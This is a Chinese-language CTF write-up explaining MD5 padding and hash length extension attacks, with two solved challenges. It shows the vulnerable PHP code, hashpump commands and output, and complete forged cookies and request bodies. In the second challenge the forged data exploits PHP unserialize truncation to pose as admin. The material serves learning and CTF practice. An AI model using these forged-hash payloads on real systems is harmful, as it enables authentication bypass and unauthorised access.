hash原理

image

当哈希函数拿到需要被hash的字符串后,先将其字节长度整除64(注意这里是字节长度,也就是512位),取得余数。如果该余数等于56,那么就在该字符串的后面加上8个字节的长度描述符,如果不等于56,则进行填充,填充时,第一个字节为hex(80),(80转为2进制10000000)其他字节全用hex(00)填充,填充到56个字节后,同样增加8个字节的长度描述符,这里的长度描述符是被填充之前的长度。以上过程称为补位
补位完成后,字符串以64位一组进行分组(因为上面的余数为56,加上8个字节的长度描述符后,正好是64位,凑成一组)。字符串能被分成几组就会进行多少次“复杂的数学变化”。每次进行“复杂的数学变化”都会生成一组新的registers值供下一次“复杂的数学变化”来调用。第一次“复杂的数学变化”会调用程序中的默认值。当后面已经没有分组可以进行数学变化时,该组生成的registers值就是最后的hash值

这里的初始register值是固定的,

A=0x67452301 B=0xefcdab89 C=0x98badcfe D=0x10325476

写死的 !!! 写死的!!! 写死的!!!
因为要保证同一字符串的hash值唯一

利用

哈希长度扩展攻击,主要是两个地方,一个是补位,还有一个是register值的覆盖,利用上一轮产生的hash作为下一轮的register,然后生成md5,达到在不知道加盐值的情况下,伪造md5

实例1

这里以实验吧的一道题为例,
观察源代码发现,已知md5(secret+admin+admin)的值,

1
setcookie("sample-hash", md5($secret . urldecode("admin" . "admin")), time() + (60 * 60 * 24 * 7));

拿到flag的条件是,cookie[getmain]===md5(secret+username+password),username可以为admin,但是password不能为admin,

1
2
3
4
5
if (!empty($_COOKIE["getmein"])) {
if (urldecode($username) === "admin" && urldecode($password) != "admin") {
if ($COOKIE["getmein"] === md5($secret . urldecode($username . $password))) {
echo "Congratulations! You are a registered user.\n";
die ("The flag is ". $flag);

而且已知secret的长度15字节,这里很明显可以利用hash长度扩展攻击,
把md5(secret+admin+admin)的结果当作第二轮的register,去hash任意数据,
这里假设secret为123456789123456 然后任意数据为aaa
,因为secret+admin+admin不够56个字节,要先进行补位,25Bytes*8=200bit 转为16进制c8
补位以后的结果,正好64个字节,只需要进行一次复杂的数学变换
image
然后把产生的hash值作为给任意数据(aaa)进行复杂数学变换的register值,最终产生的hash值就是,md5(secret+admin+admin+填充数据+任意数据)
这里用hashpump直接生成

1
2
3
[email protected]:~# hashpump -s 571580b26c65f306376d4f64e53cb5c7 -k 25 -a aaa
Input Data: 43311584bb4a2c38e46575889268d1e3
\x80\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xc8\x00\x00\x00\x00\x00\x00\x00aaa

提示输入input data直接ctrl+d就行,把\x换成%
最后的请求头

1
2
3
4
5
6
7
8
Cookie: sample-hash=571580b26c65f306376d4f64e53cb5c7;getmein=43311584bb4a2c38e46575889268d1e3; source=0
DNT: 1
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 149

username=admin&password=admin%80%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%c8%00%00%00%00%00%00%00aaa

实例2

jarvis

salt长度未知需要爆破

源代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
$auth = false;
$role = "guest";
$salt =
if (isset($_COOKIE["role"])) {
$role = unserialize($_COOKIE["role"]);
$hsh = $_COOKIE["hsh"];
if ($role==="admin" && $hsh === md5($salt.strrev($_COOKIE["role"]))) {
$auth = true;
} else {
$auth = false;
}
} else {
$s = serialize($role);
setcookie('role',$s);
$hsh = md5($salt.strrev($s));
setcookie('hsh',$hsh);
}

反序列化的一个小知识,当反序列化结束的时候,会扔掉后面的数据,也就是s:5:”admin”;%00%00只会反序列化到admin(不是因为%00的截断)

现在已知md5(salt+;”tseug”:5:s)

要构造的数据为md5(salt+;”tseug”:5:s+填充数据+伪造数据)

用hashpump伪造,从10位开始猜,猜到12位的时候,猜对了(看到大佬们用脚本打,羡慕~)

1
2
3
4
5
6
7
hashpump
Input Signature: 3a4727d57463f122833d9e732f94e4e0
Input Data: ;"tseug":5:s //已知的输入数据
Input Key Length: 12 //密钥长度(去掉Input Data后的长度)
Input Data to Add: ;"nimda":5:s //伪造的数据
fcdc3840332555511c4e4323f6decb07
;"tseug":5:s\x80\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xc0\x00\x00\x00\x00\x00\x00\x00;"nimda":5:s

伪造的数据是要放在开头绕过反序列化验证的,反转一下

1
2
urllib.quote(urllib.unquote(urllib.quote(';"tseug":5:s\x80\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xc0\x00\x00\x00\x00\x00\x00\x00;"nimda":5:s'))[::-1])
's%3A5%3A%22admin%22%3B%00%00%00%00%00%00%00%C0%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%80s%3A5%3A%22guest%22%3B'

在编码这里弄了好长时间,还好最后做出来了

1
2
3
4
Cookie: role=s%3A5%3A%22admin%22%3B%00%00%00%00%00%00%00%C0%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%80s%3A5%3A%22guest%22%3B; hsh=fcdc3840332555511c4e4323f6decb07
DNT: 1
Connection: close
Upgrade-Insecure-Requests: 1

参考链接

https://www.freebuf.com/articles/web/69264.html